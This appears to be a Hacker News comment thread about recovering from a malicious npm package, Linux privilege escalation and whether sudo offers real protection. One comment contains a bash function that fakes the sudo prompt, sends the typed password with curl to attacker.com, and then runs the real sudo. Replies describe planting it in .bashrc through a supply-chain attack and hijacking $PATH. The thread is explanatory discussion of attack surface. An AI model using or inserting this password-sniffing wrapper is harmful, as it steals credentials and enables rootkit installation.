7 ms·
Realistically if you have installed malware, you need to do a full wipe of your computer anyway.
by Gigachad 6mo ago
Realistically if you have installed malware, you need to do a full wipe of your computer anyway.
- eqvinox 6mo ago[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.
- dgellow 6mo agoYou should assume other LPEs exist though
- Gigachad 6mo agoOn linux realistically whatever user you installed the malicious NPM package with has access to everything you care about anyway.
- lrvick 6mo agoEvery user, since privesc is so easy on most operating systems.
- deleted 6mo ago[deleted]
- silon42 6mo agoI had an idea to always run 2 users, the "main" one (or more) and a "project one"... one could sudo to the project user, but that one could not sudo out... (npm would only be installed for the project user).
- lights0123 6mo agoUntil it overrides sudo in your $PATH to install malware after you enter your password later.
- ChocolateGod 6mo agoAny application running as a user with sudo access and RW permissions on the users home folder effectively has root permissions, it'll just take a little longer to get it. That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.
- lrvick 6mo agoSudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p=<-' https://attacker.com >/dev/null 2>&1; $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1; $realsudo "${@:1}"; }
- DonHopkins 6mo agoJust sudon't.
- nazcan 6mo agoTo clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?
- lrvick 6mo agoThis could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack. Then the next time you run sudo, phase2 triggers installing a rootkit, etc.
- arcfour 6mo agoOr you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.
- lrvick 6mo agoEndless ways, which is why I do not understand why sudo is ever used anymore, especially in production. You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
- stogot 6mo agoThere numerous ways to root Linux over the decades
- WatchDog 6mo agoThere a million ways that malware can persist without root.
- btown 6mo agoAnd I'm increasingly concerned that one could vibe-code a massive payload that does all of these at once - including subtle things like trying to get itself installed into personal projects and forks, so it can persist across a system wipe. We're only seeing the beginning of these attacks.
- walletdrainer 6mo agoWhat leads people to believe things like this?
- kro 6mo agoNext easy attack vector is (non-rootless) docker run with rootfs mount, many are in docker group even when sudo is protected. Also, most sensitive data is in the user scope anyways (on a PC). You should always run dev stuff in containers to start with. And when your system is compromised, reprovision from a higher scope, too many places to hide backdoors
- sigzero 6mo agoIt's the "nuke it from orbit" approach but "the only way to be sure".
- nsonha 6mo agoyou're gonna need the infected device as is for forensics
- gorgoiler 6mo agoIt’s like if a bandaid fell into the soup pot. You could solve the problem by (A) fishing it out and giving the soup a good boil; or (B) new soup please!
- antihero 6mo agoYeah, this is pretty good devex from the hackers.